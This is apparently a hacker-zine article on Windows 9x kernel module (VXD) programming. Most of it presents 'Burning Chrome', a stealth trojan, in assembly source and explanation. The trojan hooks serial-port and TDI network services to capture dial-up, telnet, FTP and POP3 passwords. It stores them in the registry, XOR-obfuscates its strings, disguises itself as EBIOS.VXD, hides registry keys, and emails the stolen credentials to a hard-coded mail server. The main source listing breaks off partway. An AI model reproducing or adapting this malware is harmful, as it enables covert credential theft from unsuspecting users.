----------------------[ Attacking Windows 9x with Loadable Kernel Modules ] --------[ Solar Eclipse ] ----[ Introduction This article explains the basics of Windows 9x kernel modules development and contains the full source of a loadable kernel module (LKM) that performs the following functions: 1) it captures TCP connections traffic and extracts telnet/pop3/ftp passwords 2) it captures dial-up connections traffic (by capturing the raw data from the serial port) and extracts dial-up passwords 3) by accessing the TCP stack directly (bypassing the Winsock interface), it emails all the collected authentication information to an evil script kiddie sitting in a basement full of stolen hardware 4) it is virtually undetectable with any standard Windows tools 5) it is written entirely in assembly and the executable file size is only 7KB The name of the LKM is Burning Chrome. I wrote it because I had to break into a computer system owned by a girl called Chrome. Yes, I know it sounds lame. No, I don't know who William Gibson is. Dude, what is the Matrix? I assume that you have a basic knowledge of Win32 programming, x86 protected mode architecture, 32-bit assembly language programming, SoftIce and basic Internet protocols (telnet/pop3/ftp/smtp). I will start this article with a short overview of the Windows 9x kernel design. Then I will describe a template kernel module and will talk about some of the system services that Windows provides. Finally I will give you the Burning Chrome source. ----[ Windows 9x Internals Windows 9x has two separate layers of code: DLL layer and VXD layer. 1) DLL Layer The DLL layer consists of all system DLLs. It runs as a Ring 3 code. All the API functions that Windows programs normally call are implemented in the DLL layer (in KERNEL32.DLL, USER32.DLL, GDI32.DLL and other DLLs). Many of the DLLs call VXD functions. Some of the API functionality is implemented entirely in the VXD layer and the DLL functions act only as gates (this is the case with the registry access functions). Calling DLL functions from the VXD layer is impossible and this makes most of the Windows API inaccessible to kernel modules. I will not discuss the system DLLs any more, because they are not used for Windows kernel hacking. 2) VXD Layer The general term VXD stands for Virtual Device Driver, the "x" being a placeholder for device names. For example, VKD is a Virtual Keyboard Driver, VDD is a Virtual Display Driver, etc. The VXD layer is the core of the Windows OS. It is similar to the Linux kernel and the functions it provides, although it is not nearly as well documented. The VXD code handles memory management, task switching, low-level hardware access and other similar tasks. The core OS services, such as registry access, networking and file access are also implemented in the VXD layer. All VXDs run in Ring 0 and have full access to the system. Hacking the Windows kernel is possible by writing an VXD. The Windows Driver Development Kit (DDK) is used for writing VXDs. Most programmers shiver when somebody mentions 'device drivers', but but the VXDs can be used for many other purposes. Let me quote Andrew Schulman, the author of "Unauthorized Windows95. A Developer's Guide to Exploring the Foundations of Windows 95": "...Seen from this perspective, the names Virtual Device Driver and Device Driver Kit are unfortunate. They automatically turn off most Windows developers, who quite sensibly feel that device-driver writing is an area they would rather stay away from. More appropriate names would have been "TSRs for Windows" or "Please Hack Our Operating System". As it is, the names VXD and DDK alienate many programmers who would otherwise jump at this stuff. ...Admittedly, very few Windows programmers will be using VXDs to write hardware interrupt handlers or device drivers. But a short time spent with the DDK should convince you that there's a ton of documented functionality available to VXDs that is otherwise difficult or impossible to get under Windows. Whenever a programmer says that something is "impossible" in Windows, I suspect the correct reply will be "No it isn't. Write a VXD" Just as TSRs allowed DOS programmers to do the otherwise-impossible in the 1980s, VXDs are going to let Windows programmers go anywhere and do anything in what's left of the 1990s." Unfortunately (or maybe fortunately) writing VXDs for Windows has not become as common as writing TSRs for DOS was. The possibilities that the Virtual Device Drivers offer are big, but writing one is not an easy task. ----[ Your First VXD VXDs are usually written with the Windows98 DDK, which includes a copy of the Microsoft Macro Assembler (MASM). It is possible to use C for VXD development, but using assembly is definitely more fun. Other tools, such as NuMega DriverWorks make the programmer's job easier, but for this example I will use only the Win98 DDK. The DDK is available for free download on Microsoft's web site. Even if they take it down, you will be able to find it on some old copy of the MSDN or on the net. Having a copy of the Windows NT4 DDK, Windows 2000 DDK and even the Windows 3.11 DDK will also be nice. Many interesting VXD features are poorly documented or not documented at all. Although the Windows 98 DDK will be your primary source of information, sometimes you will find the information you need in some of the other kits. The Windows 3.11 DDK is useful, because there are a lots of similarities in the internal architecture of Windows 3.11 and Windows 95. (Contrary to the Microsoft hype, Windows 3.11 was closer to Windows 95 than to Windows 3.1. Basically the only major change between 3.11 and 95 was the GUI) The VXDs are LE executables. You need a special linker to link them (included in the DDK). The following source is a template for a very basic VXD. It's just an example for a module that can be successfully loaded by the system. <++> example.asm ; EXAMPLE.ASM ; VXDs use 386 protected mode .386p ; Many system VXDs export services, just like the system DLLs in Windows. ; We can use these services for memory allocations, registry and file ; access, etc. ; All we need to do is include the appropriate include file. There are ; many INC files for the system VXDs that come with the DDK. ; VMM.INC is the only required include file. It contains the declarations ; for many important services exported by VMM32.VXD, as well as many ; macros that are used for VXD programming. INCLUDE VMM.INC ; All VXDs need a Driver Declaration Block (DDB), that stores information ; about its name, version, control procedure, device ID, init order, etc. ; To build this DDB use the Declare_Virtual_Device macro with the following ; parameters: ; - VXD name (needs not be the same as the file name) ; - Major version ; - Minor version ; - Control procedure (similar to WndProc in normal Windows programs. This ; procedure receives all the system messages and processes them ; - Device ID - used only for VXDs that export services. Arbitrary values ; might work as long as they don’t conflict with the official Device IDs ; assigned by Microsoft ; - Init order - 32 bit integer, determines the order in which the VXDs ; are loaded. If you want your VXD to be loaded after some other VXD, ; use a value greater than the other VXD's init order Declare_Virtual_Device EXAMPLE, 1, 0, Control_Proc, Undefined_Device_ID, \ Undefined_Init_Order, , , ; This macros declares the data segment VxD_DATA_SEG SomeData dd 0 ; Just some data VxD_DATA_ENDS ; Code segment VxD_CODE_SEG BeginProc SomeProcedure push eax mov eax, 1 pop eax ret EndProc SomeProcedure VxD_CODE_ENDS ;Locked code segment - will be explained later VxD_LOCKED_CODE_SEG ; This is the control procedure. It should use Control_Dispatch macros for ; handling the messages. This macro takes 2 parameters - message_code and ; handler address. You can find a list of all the messages in the DDK ; documentation. ; This example only handles the Device_Init message and calls the ; Do_Device_Init function. BeginProc Control_Proc Control_Dispatch Device_Init, Do_Device_Init clc ret EndProc Control_Proc VxD_LOCKED_CODE_ENDS ; Init code segment VxD_ICODE_SEG ; This procedure is called after the VXD is loaded. Put the initialization ; code in it. BeginProc Do_Device_Init ; Put some init code here... ret EndProc Do_Device_Init VxD_ICODE_ENDS ; End of EXAMPLE.ASM END <--> There are 7 different types of segments that your VXD can use. 1) VxD_DATA_SEG and VxD_CODE_SEG - for pageable code and data 2) VxD_LOCKED_DATA_SEG i VxD_LOCKED_CODE_SEG - this segments contain non-pageable code and data. Control_Proc and the interrupt handlers should be in VxD_LOCED_CODE_SEG. I am not quite sure about the rest of the code. The Windows DDK documentation is not very clear about that. If your VXD is small, you might want to use only non-pageable memory, just to be safe. 3) VxD_ICODE_SEG i VxD_IDATA_SEG - initialization code and data. These segments are discarded after the initialization is finished. This is a good place for the Do_Device_Init procedure. 4) VxD_REAL_INIT_SEG - The code in this segment is executed by Windows before the processor switches to protected mode. Unless you are writing a REAL device driver, it's pretty much useless. To compile the example VXD you will also need a .DEF file. This is EXAMPLE.DEF: <++> example.def LIBRARY EXAMPLE DESCRIPTION 'VxD Example by Solar Eclipse' EXETYPE DEV386 SEGMENTS _LTEXT PRELOAD NONDISCARDABLE _LDATA PRELOAD NONDISCARDABLE _ITEXT CLASS 'ICODE' DISCARDABLE _IDATA CLASS 'ICODE' DISCARDABLE _TEXT CLASS 'PCODE' NONDISCARDABLE _DATA CLASS 'PCODE' NONDISCARDABLE EXPORTS EXAMPLE_DDB @1 <--> example.def If your DDK is set up correctly, and all the shell variables are initialized (read the DDK docs for that), you should be able to compile EXAMPLE.VXD with the following commands (no Makefile, sorry): You can compile a DEBUG version with this: set ML=-coff -DBLD_COFF -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT - DMASM6 -DINITLOG -DDEBLEVEL=0 -Fl ml example.asm NO_DEBUG version: set ML=-coff -DBLD_COFF -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT - DMASM6 -DINITLOG -DDEBLEVEL=1 -DDEBUG -Fl ml example.asm Then link it: link example.obj /vxd /def:example.def Put the file EXAMPLE.VXD in C:\WINDOWS\SYSTEM and add the following to the [386Enh] section of SYSTEM.INI device=example.vxd After the system is rebooted, the VXD will be loaded. Of course it won't do much, but you can see it in the VXD list with SoftIce. ----[ Burning Chrome The VXDs allow you to access most of the core Windows services directly and this gives you some interesting possibilities. Let's explore the features implemented in CHROME.ASM. I. Capturing dial-up passwords Almost all dial-up connections are initiated through a modem attached to a serial port, using the PPP protocol. The two most common ways of authentication are via PAP (Password Authentication Protocol) or via a login prompt. To get these passwords we need to capture the traffic passing through the serial port. The Hook_Device_Service system call allows us to hook the services exported by the VXDs. VCOMM.VXD exports three services that we need to hook. These are VCOMM_OpenComm, VCOMM_WriteComm and VCOMM_CloseComm. The following code hooks the services: ; Hook VCOMM services GetVxDServiceOrdinal eax, _VCOMM_OpenComm mov esi, offset32 OpenComm_Hook VMMcall Hook_Device_Service jc Abort GetVxDServiceOrdinal eax, _VCOMM_WriteComm mov esi, offset32 WriteComm_Hook VMMcall Hook_Device_Service jc Abort GetVxDServiceOrdinal eax, _VCOMM_CloseComm mov esi, offset32 CloseComm_Hook VMMcall Hook_Device_Service jc Abort OpenComm_Hook, WriteComm_Hook and CloseComm_Hook are the names of the new service handlers. One of the OpenComm parameters is the name of the device being opened. When a dial-up connection is established, Windows opens COM1, COM2, COM3 or COM4 and sends the AT modem commands. Our OpenComm procedure checks the device name and sets a flag if it is a COM port. All the subsequent WriteComm calls are logged, until the connection is closed. If the flag is set, the WriteComm procedure saves all the data to a buffer. When the buffer gets full, the data in it is processed and saved to the registry. The main goal of the log processing routines is to make sure that no username/password combination is emailed twice - getting your mailbox flooded by a misbehaving trojan horse is not good. This requires the usernames and the passwords to be saved and each new connection to be checked against the old sessions. The best place for storing such information is the registry. Reading and writing to the registry is much easier than storing the data in a file on the hard disk. The chance of the user noticing a few new entries in the registry is also very slim. For each session, four things need to be saved: username, password, phone number or IP address of the remote end and the log itself. Before the session is saved, the username, password and the phone number are extracted from the log and compared to the existing values in the registry. If a session with the same values exists, the new session is not saved. CHROME.ASM combines the username, password and phone number into a single string. Then it saves the session to the registry using this string as the key name and the log as the key value. The string acts as a hash of the log. When a new connection is captured, its hash string is generated and the VXD checks if a key with the same hash exists. It does this by trying to open a key with the same name as the hash string. If the RegQueryValueEx call fails, the new connection is saved. ; The following code is taken from the Send_Common procedure ; ValueName is pointer to the beginning of the hash string. ; pBuffer is a pointer to the log ; RegQueryValueEx expects a pointer to a pointer, so dwTemp_1 is used ; for passing a pointer to a NULL pointer Get_Reg_Value: ; Try to get the value with the same name xor ebx, ebx mov dwTemp_1, ebx push offset32 dwTemp_1 ; cbData push ebx ; lpszData push ebx ; fdwType push ebx ; dwReserved push ValueName ; lpszValueName push hOurKey ; phKey VMMCall _RegQueryValueEx ; Get the value of the key add esp, 18h cmp eax, ERROR_FILE_NOT_FOUND ; If key exists jne Send_Common_Abort ; Save the result in the registry push BufferSize ; cbData push pBuffer ; lpszData push REG_SZ ; fdwType push 0 ; dwReserved push ValueName ; lpszValueName push hOurKey ; phKey VMMCall _RegSetValueEx ; Set the value of the key add esp, 18h When the user ftp's to a server his connection is logged. If later he decides to telnet to the same server with the save username and password, the telnet connection will not be saved, because the hash string will be the same. To avoid this we will include an connection type identifier in the hash string. This identifier is a single letter put in the beginning of the hash string: TraceLetters equ $ ; Table with letters for each different NOTHING db 'N' ; type of trace. Indexed with TraceType MODEM db 'M' TELNET db 'T' FTP db 'F' POP3 db 'P' The buffer processing functions for the dial-up and the TCP connections are very similar. They only differ in the way the hash string is extracted from the log. The common buffer processing is done by the Send_Common function. It saves the new data in the buffer and checks if it is full. Usually we don't need to capture more than the first hundred bytes to get the username and password. If the buffer is full, the log should be processed. The TraceType variable contains the connection type - modem, telnet, ftp or pop3. Send_Common calls the appropriate log processing function - in the case of a dial-up connection it calls ModemLog. The log processing functions extract a hash string from the buffer and returns it to Send_Common. ModemLog checks the captured data for an ATD command. If does not find it, an error flag is set and the data is not saved into the registry. Else the phone number is extracted and copied as the first part of the hash string. If the first transferred byte after the phone number is a '~' we are dealing with a PPP connection. During the PPP connection establishment authentication information can be exchanged. The most commonly used protocol is called PAP (Password Authentication Protocol). CHAP (Challenge Authentication Protocol) is also popular, but it does not send the password in cleartext and therefor can not be captured by the VXD. You can find more information on PAP in RFC1172: The Point-to-Point Protocol Initial Configuration Options. The PPP protocol is described in RFC1331. The PAP authentication information is transmitted using a PPP packet with a PAP sub-packet type. The structure of the PAP packet is shown in the following table: | 7E | C0 23 | 01 | xx | xx xx | ULen | U S E R | PLen | P A S S | | | | | | | | | | | |PPP | PAP |code| id |length |user len|username |pass len|password | All PAP packets start with 7E C0 23. If the packet is carrying authentication information the PAP code is 01. We need to scan the captured PPP session for the 7E C0 23 01 byte sequence and copy the username and the password to hash string. If the first character after the phone number is not '~', we are dealing with a login prompt configuration. Usually the user enters a username, presses Enter, then enters the password, presses Enter again and the PPP connection is established. As we already know, the first byte of the PPP handshake sequence is '~'. If we copy all the data before the '~' to the hash string we'll surely get the username and the password. II. Capturing TCP connections Everybody reading this is probably familiar with the Winsock interface. What most of you don't know is that most of the Winsock functions are implemented in the Transport Data Interface (TDI). This is a kernel mode interface for network access, supporting different network protocols. WINSOCK.DLL is just a convenient way for the Windows applications to use this interace without calling the VTDI.VXD services directly. Among others the TDI interface provides the functions TdiConnect, TdiDisconnect and TdiSend. They correspond directly to the Winsock functions connect(), disconnect() and send(). We need to hook these functions and intercept the data being sent. There is no documented way for hooking these functions, but it's not impossible. The VTDI_Get_Info system call returns a pointer to the TdiDispatchTable, which contains pointers to all the TDI functions. The applications that use TDI are supposed to get the addresses from this table and call the TDI functions directly. If we get the address of this table and replace the addresses of the TDI functions with the addresses of our hooks, all the TDI calls will get routed to us. Our code runs in Ring 0 and we have full access to the memory and can change whatever we want. Of course we need to save the addresses of the old handlers so that we can call them later. Sounds just like hooking DOS interrupt handlers, doesn't it? Here is the code for hooking the TDI functions: ; Make sure VTDI is present VxDcall VTDI_Get_Version jc Abort ; Get a pointer to the TCP dispatch table push offset32 TCPName VxDcall VTDI_Get_Info add esp, 4 mov TdiDispatchTable, eax ; Save the address of TdiDispatchTable ; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend mov ebx, [eax+0Ch] mov TdiCloseConnection_PrevAddr, ebx mov [eax+0Ch], offset32 TdiCloseConnection_Hook mov ebx, [eax+18h] mov TdiConnect_PrevAddr, ebx mov [eax+18h], offset32 TdiConnect_Hook mov ebx, [eax+1Ch] mov TdiDisconnect_PrevAddr, ebx mov [eax+1Ch], offset32 TdiDisconnect_Hook mov ebx, [eax+2Ch] mov TdiSend_PrevAddr, ebx mov [eax+2Ch], offset32 TdiSend_Hook The TDI documentation in the Windows DDK is incomplete and very confusing, but it's the only available source of information. TdiConnect is passed a pointer to a RequestAddress structure, which contains a pointer to a RemoteAddress structure, which contains the IP address and the port number. After making sure that the RequestAddress is of type IPv4, our TdiConnect handler checks the destination port number. If it is 21, 23 or 110 we need to capture this connection. We need to set the TraceType flag and save the connection handle. Unfortunately this connection handle is not returned directly by the original TdiConnect function. One of its parameters is the address of a callback function which is to be called after the connection is established (or when an error occurs). We will save the supplied address of the callback function and replace it with the address of TdiConnect_Callback function in the VXD. This function checks the connection status. If the connection is successfully established, the connection handle is saved. If not, the TraceType flag is unset. After that the real callback function is called. TdiSend is very similar to WriteComm. It checks the connection handle and if it matches the connection that we are currently tracing TdiSend calls SendCommon. From there on the process is exactly the same as described above. If we are tracing a pop3 session, SendCommon calls Pop3Log as a log processing function. Pop3Log converts the IP address of the server to a hex string and saves it as the first part of the hash. This makes sure that two accounts with the same username/password on different servers will not get confused. Then the log is scanned for the USER and PASS commands. The username and password are extracted and stored in the hash string. mov esi, pBuffer mov ecx, BufferSize mov ebx, ecx mov eax, 'RESU' ; Search for USER USER_or_PASS_Loop: cmp dword ptr [esi], eax ; Search for USER or PASS (in eax) je USER_or_PASS_Copy_Loop_Start inc esi dec ecx jz Pop3Log_Abort jmp USER_or_PASS_Loop USER_or_PASS_Copy_Loop_Start: add esi, 5 ; Skip 'USER' and 'PASS' USER_or_PASS_Copy_Loop: cmp byte ptr [esi], 0Dh ; Is here? jne Copy_USER_or_PASS cmp al, 'P' ; Is this a PASS copy? je Pop3Log_End ; Work done, finish log processing mov ax, 0A0Dh ; Save a between username & pass stosw mov eax, 'SSAP' jmp USER_or_PASS_Loop Copy_USER_or_PASS: movsb dec ecx jz Pop3Log_Abort jmp USER_or_PASS_Copy_Loop This code is shown here only as a prove that programming in assembly is a very brain damaging activity. After spending several years doing assembly language programming, you'll never programmer the same way as before, even in a high level language. Whether this is good or bad is a different question. The FTP protocol is very similar to the POP3 protocol. In fact the authentication commands (USER & PASS) are exactly the same and FtpLog can simply call Pop3Log. We don't want to capture all the anonymous ftp connections and that's why FtpLog checks the username. If it is 'anonymous', the connection trace is aborted. All telnet logs are processed by the TelnetLog function. It is a little bit more complicated because the Telnet client negotiates the terminal options with the server before it lets the user type his username and password. The algorithm for the username/password extraction is as follows: DATA: terminal options | 0 | username | CR | password | CR | more data 1) find the first CR 2] find the second CR 3) save the second CR position 4) search for the 0 (going back from the second CR) 5) stop when 0 is found or the beginning of the buffer is reached 6) copy everything from the current position (starting after the \0 or at the beginning of the buffer) to the position of the second CR While writing this article I went through my code once again and found the following comment: ; If NULL is found, edi points to the byte before it and we need to do ; inc edi twice. Else, edi would point to the first char in the buffer ; and we don't need to inc it. ; That's why we have done 'inc ecx' twice a couple of lines before. ; This way, if NULL is not found, edi points to the first-2 char ; and we can (and must) do inc edi two times. inc edi inc edi This shows that writing code at 3am is not very healthy. III. Emailing the captured passwords Sending the captured passwords back to the hacker is very important. The mailing function needs to be robust, otherwise all the password capturing code is useless. The mailing function needs to be called only when an Internet connection is present. We could use our COM port hook and find out when a PPP connection is established, but this wouldn't work for machines with Ethernet connections. The simplest thing do is to make our TdiConnect handler call the Sendmail function everytime an outgoing connection on port 80 is detected. In this day and age, everybody uses the Web. A connection to a web server is a clear indication that an Internet connection is also present. If this is not the case (the user might be using a local web server or an Intranet without external connectivity) the Sendmail function will fail connecting and retry again the next time. When new data is saved to the registry, a flag is set. The letter 'P' is saved as the default value of the registry key. This flag is later checked by the mailing function and the captured passwords are emailed if it is set. After the email is sent the default value is deleted from the registry. This way an email is sent only when there is a new password. It is better to send all the passwords every single time than to send only the new one. This way if one email is lost, there is still a chance of getting the lost password the next time. Sendmail uses TDI to connect to a mail server and send all the captured passwords and logs. Before a connection is established, a message buffer is allocated from the heap. This buffer is used for constructing the sequence of SMTP commands and email data before sending it to the mailserver. First some SMTP commands are copied to the buffer: HELO localhost MAIL FROM: RCPT TO: DATA Then the email message is constructed. The subject of the message is set to the RegisteredOwner value from HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion. The first 3 lines from the message contain RegisteredOrganization, SystemRoot and VersionNumber - for statistical purposes only. As you already know, our logs are stored as values in a registry key. The Sendmail function enumerates these values and copies them to the mail buffer. The email text is finished with '.' and the QUIT command is put into the buffer. Opening a TDI connection and sending the contents of the mail buffer is pain in the ass. We need to open an address object (TdiOpenAddress), save the returned address handle, open a connection object (TdiOpenConnection), save the connection context, associate the connection context with the address handle (TdiAssociateAddress) and then finally call TdiConnect. Of course the documentation does not mention any of these steps or the order in which they have to be performed. Figuring this out with SoftIce is not fun. Most TDI functions are asynchronous and call the TdiMail_Callback function on completion. TdiConnect is no exception. TdiMail_Callback checks the error code and if the connection is established correctly it sends the contents of the mail buffer. Sending all the commands with one write is not allowed by the SMTP protocol, but it works with most mail servers. After the sending the TdiMail_Callback is called again, this time because the send was completed. The connection is then closed by calling TdiDisconnect and TdiCloseAddress. The default value of our reg key is deleted, thus unsetting the flag. The next time Sendmail is called it will not send anything, unless a new password was captured. ; Delete the default value (send is done) xor eax, eax push eax ; cbData push offset32 Zero ; lpszData push REG_SZ ; fdwType push eax ; lpSubKey push hOurKey VMMCall _RegSetValue add esp, 14h IV. Misc All the ASCII data in CHROME.VXD is XOR-ed with 42. This is not a storing encryption scheme, but it will fool a less experienced observer. mov edi, ASCIIStart mov ecx, ASCIILength Decode_Loop: ; Why 42...? :-) xor byte ptr [edi], 42 inc edi loop Decode_Loop The installation process of Burning Chrome is really interesting. The standard installation approach for VXDs is to copy them to C:\WINDOWS\SYSTEM and add the appropriate entry in the registry or in the SYSTEM.INI file. Modifying the registry or INI files can be easily detected and should be avoided. The core Windows VXDs are compressed into a single file, called VMM32.VXD. This is not a normal VXD file. When the system loads it during the boot process, all the files that are contained in it are extracted and loaded as kernel modules. The file format of the VMM32.VXD is documented and it is possible to add VXD files to it. Unfortunately, registry entries are still required for these files and we can not force the system to load our module without modifying the registry. The C:\WINDOWS\SYSTEM\VMM32 folder has a special function. Every time a VXD from the VMM32.VXD collection is loaded, Windows checks if a file with the same name exists in this directory. If it finds a file with the same name, it is loaded instead of the VXD in VMM32.VXD. Suppose that a AAA.VXD is in VMM32.VXD. If we name our VXD AAA.VXD and put it in C:\WINDOWS\SYSTEM\VMM32, then Windows will load our module instead of the original VXD. The only problem is that we need a VXD that is in VMM32.VXD and is loaded by default, but not necessary needed. The perfect VXD is EBIOS.VXD. EBIOS is a failed BIOS extention standard by IBM. Most modern computers use Award/Phoenix/AMI BIOSes and do not support EBIOS. The lack of this VXD will not be fatal. All we have to do is name our VXD EBIOS.VXD and copy it to C:\WINDOWS\SYSTEM\VMM32. We don't need to modify any existing system files. Most anti-virus programs will alert the user if a program is trying to write to SYSTEM.INI or modify system files, but they will happily let us copy a file. IV. Known Bugs There are many bugs in this code. If you fix or add something, please send me a copy :-) Here is the list of the known bus: 1) Sometimes the Sendmail function fails to send the email. It should be redesigned to comply to the RFC - send a command, wait for a reply, send the next command, wait for a reply, etc. 2) Anonymous FTP sessions are logged, although they should not be. I have no clue why. 3) The TelnetLog function includes some Telnet options in the hash string. V. Improvements Here is a list of improvements that can be added to the code. Unfortunately I have no time to do it. If you modify the code, please send me a copy. 1) Add encryption to the email messages. Even a simple XOR will be better than sending everything in cleartext. 2) Capture HTTP form submissions and look for webmail passwords/credit card numbers/etc. 3) Hide the registry key that we use to store our data. The RegEnumKey function returns the names of the subkeys of a given key. We can hook it and check the name of the returned key. If it matches the key name that we want to hide, we'll return an error. Here is some simple code for doing this: <++> hidereg.asm .386p INCLUDE VMM.INC INCLUDE VMMREG.INC Declare_Virtual_Device HIDEREG, 1, 0, Control_Proc, Undefined_Device_ID, \ Undefined_Init_Order, , , VxD_LOCKED_DATA_SEG pRegEnumKey_PrevHook dd 0 VxD_LOCKED_DATA_ENDS VxD_LOCKED_CODE_SEG BeginProc RegEnumKey_Hook, HOOK_PROC, pRegEnumKey_PrevHook, LOCKED push ebp ; C rulez! mov ebp, esp ; ebp+00h -> saved ebp ; ebp+04h -> return address ; ebp+08h -> hKey ; ebp+0Ch -> iSubKey ; ebp+10h -> lpszName ; ebp+14h -> cchName pushad pushfd int 3 push [ebp+14h] ; Push cchName push [ebp+10h] ; Push lpszName push [ebp+0Ch] ; Push iSubKey push [ebp+08h] ; Push hKey call [pRegEnumKey_PrevHook] ; Call the old handler add esp, 10h ; C really rulez! mov [ebp-04h], eax ; blah... mov edi, [ebp+10h] cmp dword ptr [edi], 'xzzy' ; Is this "hidden" key ? jne RegEnumKey_Hook_End mov dword ptr [ebp-04h], ERROR_NO_MORE_ITEMS ; Dirty, but works mov byte ptr [edi], 0 RegEnumKey_Hook_End: popfd popad pop ebp ret EndProc RegEnumKey_Hook BeginProc Control_Proc Control_Dispatch Device_Init, Do_Device_Init clc ret EndProc Control_Proc VxD_LOCKED_CODE_ENDS VxD_ICODE_SEG BeginProc Do_Device_Init GetVxDServiceOrdinal eax, _RegEnumKey mov esi, offset32 RegEnumKey_Hook VMMcall Hook_Device_Service ret EndProc Do_Device_Init VxD_ICODE_ENDS ; End of HIDEREG.ASM END <--> ----[ Functions List This is a list of all the functions in CHROME.ASM and what they do. I hope it helps. VCOMM Hooking OpenComm_Hook Start modem log WriteComm_Hook Log modem data CloseComm_Hook End modem log TDI Hooking TdiConnect_Hook Start TCP log TdiConnect_Callback Helper for TdiConnect_Hook TdiSend_Hook Log TCP data TdiDisconnect_Hook End TCP log TdiCloseConnection_Hook End TCP log General logging Send_Common Common code for logs ModemLog Processes modem logs TelnetLog Processes telnet logs FtpLog Processes ftp logs Pop3Log Processes pop3 logs DWordToStr aka IP2HexStr Mailing Sendmail Sendmail TdiMail_Callback Helper for Sendmail QueryRegValue Gets registry data ----[ The Source <++> chrome.asm ;---------------------------------------------------------------------------; ; Burning Chrome version 0.9 by Solar Eclipse ; ; ; ; This program is free. Feel free to use it any way you want. If you break ; ; the law and get caught, don't come whining to me. If you modify the code, ; ; please be a nice guy and send me a copy. ; ; And don't forget to visit the cool guys at http://www.phreedom.org/ ; ;---------------------------------------------------------------------------; .386p ;---------------------------------------------------------------------------; ; Includes ; ;---------------------------------------------------------------------------; INCLUDE VMM.INC INCLUDE VCOMM.INC INCLUDE VMMREG.INC ;INCLUDE DEBUG.INC ; Temporary VTDI_Device_ID equ 0488h INCLUDE VTDI.INC ;---------------------------------------------------------------------------; ; Some constants ; ;---------------------------------------------------------------------------; MAX_BUFFER_LENGTH equ 1500 MAIL_BUFFER_LENGTH equ 10000 IP_1 equ 192 ; 192.168.0.3:25 IP_2 equ 168 IP_3 equ 0 IP_4 equ 3 PORT equ 25 CHROME_Init_Order equ 0C000h + VNETBIOS_Init_Order ;---------------------------------------------------------------------------; ; EBIOS_DDB ; ;---------------------------------------------------------------------------; Declare_Virtual_Device EBIOS, 1, 0, Control_Proc, EBIOS_Device_ID, CHROME_Init_Order, , , ;---------------------------------------------------------------------------; ; Locked Data Segment ; ;---------------------------------------------------------------------------; VxD_LOCKED_DATA_SEG ; ASCII data (xored) ASCIIStart equ $ OurKey db 98,75,88,78,93,75,88,79,118,110,79,89,73,88,67,90,94,67,69,68,118 db 121,83,89,94,79,71,118,122,79,88,67,90,66,79,88,75,70,105,69,71,90 db 69,68,79,68,94,99,68,94,79,88,73,69,68,68,79,73,94,42 ; 'Hardware\Description\System\PeripheralComponentInterconnect', 0 CurrentVersionSubKey db 121,69,76,94,93,75,88,79,118,103,67,73,88,69,89,69,76,94,118,125,67 db 68,78,69,93,89,118,105,95,88,88,79,68,94,124,79,88,89,67,69,68,42 ; 'Software\Microsoft\Windows\CurrentVersion', 0 sRegisteredOwner db 120,79,77,67,89,94,79,88,79,78,101,93,68,79,88,42 ; 'RegisteredOwner', 0 sRegisteredOrganization db 120,79,77,67,89,94,79,88,79,78,101,88,77,75,68,67,80,75,94,67,69,68,42 ; 'RegisteredOrganization', 0 sVersionNumber db 124,79,88,89,67,69,68,100,95,71,72,79,88,42 ; 'VersionNumber', 0 sSystemRoot db 121,83,89,94,79,71,120,69,69,94,42 ; 'SystemRoot', 0 TCPName db 103,121,126,105 Letter_P db 122 Zero db 42 ; 'MSTCP', 0 MailData_1 db 98,111,102,101,10,70,69,73,75,70,66,69,89,94,39,32 ; 'HELO localhost', 13, 10 db 103,107,99,102,10,108,120,101,103,16,22,82,82,82,106,82,82,82,4,73,69,71,20,39,32 ; 'MAIL FROM:', 13, 10 db 120,105,122,126,10,126,101,16,22,82,82,82,106,82,82,82,4,73,69,71,20,39,32 ; 'RCPT TO:', 13, 10 db 110,107,126,107,39,32 ; 'DATA', 13, 10 db 121,95,72,64,79,73,94,16,10 ; 'Subject: ' cbMailData_1 equ $-MailData_1 MailData_2 db 39,32 ; 13, 10 db 4,39,32 ; '.', 13, 10 db 123,127,99,126,39,32,42 ; 'QUIT', 13, 10, 0 cbMailData_2 equ $-MailData_2 ASCIILength equ $-ASCIIStart ; This is for the hooks pOpenComm_PrevHook dd 0 ; Addresses of previous service handlers pWriteComm_PrevHook dd 0 pCloseComm_PrevHook dd 0 TdiConnect_PrevAddr dd 0 TdiSend_PrevAddr dd 0 TdiDisconnect_PrevAddr dd 0 TdiCloseConnection_PrevAddr dd 0 ; Flags Disable db 0 TraceType db 0 ; 0 - nothing, 1 - modem, 2 - telnet, 3 - ftp, ; 4 - pop3 TracedHandle dd 0 LogProc dd 0 ; Address of log processing proc TraceLetters equ $ ; Table with letters for each different NOTHING db 'N' ; type of trace. Indexed with TraceType MODEM db 'M' TELNET db 'T' FTP db 'F' POP3 db 'P' IP dd 0 ValueName dd 0 pBuffer dd 0 BufferSize dd 0 Index dd 0 MailPointer dd 0 hOurKey dd 0 OurSubKey db "0", 0 hOurSubKey dd 0 OldCallback dd 0 dwTemp_1 dd 0 dwTemp_2 dd 0 TdiDispatchTable dd 0 AddressHandle dd 0 ConnectionContext dd 0 Request dd 0 ; TDI_REQUEST structure RequestNotifyObject dd offset32 TdiMail_Callback RequestContext dd 0 TdiStatus dd 0 TdiAddressOption db 1 ; TDI_ADDRESS_OPTION_REUSE db 0 ; TDI_OPTION_EOL TransportAddress dd 1 ; TAAddressCount dw 14 ; Address length dw 2 ; Address type - TDI_ADDRESS_IP dw 0 ; sinport dd 0 ; sin_addr (0.0.0.0) dd 0 ; sin_zero dd 0 Context dd 0 ; Context for TdiOpenConnection RequestAddr dd 0 ; UserDataLength dd 0 ; UserData dd 0 ; OptionsLength dd 0 ; Options dd 22 ; RemoteAddressLength dd offset32 RemoteAddress ; *RemoteAddress RemoteAddress dd 1 ; TAddressCount dw 14 ; Address length dw 2 ; Address type - TDI_ADDRESS_IP db 0 ; sinport (fuckin net order!!!) db PORT db IP_1 ; sin_addr (192.168.0.1) db IP_2 db IP_3 db IP_4 dd 0 ; sin_zero dd 0 NDISBuffer dd 0 ; Next pMailBuffer dd 0 ; Data address dd 0 ; Pool SendDataLength dd 0 ; Length dd 'FUBN' ; Signature "NBUF" VxD_LOCKED_DATA_ENDS ;---------------------------------------------------------------------------; ; Locked Code Segment ; ;---------------------------------------------------------------------------; VxD_LOCKED_CODE_SEG ;---------------------------------------------------------------------------; ; _VCOMM_OpenComm hook 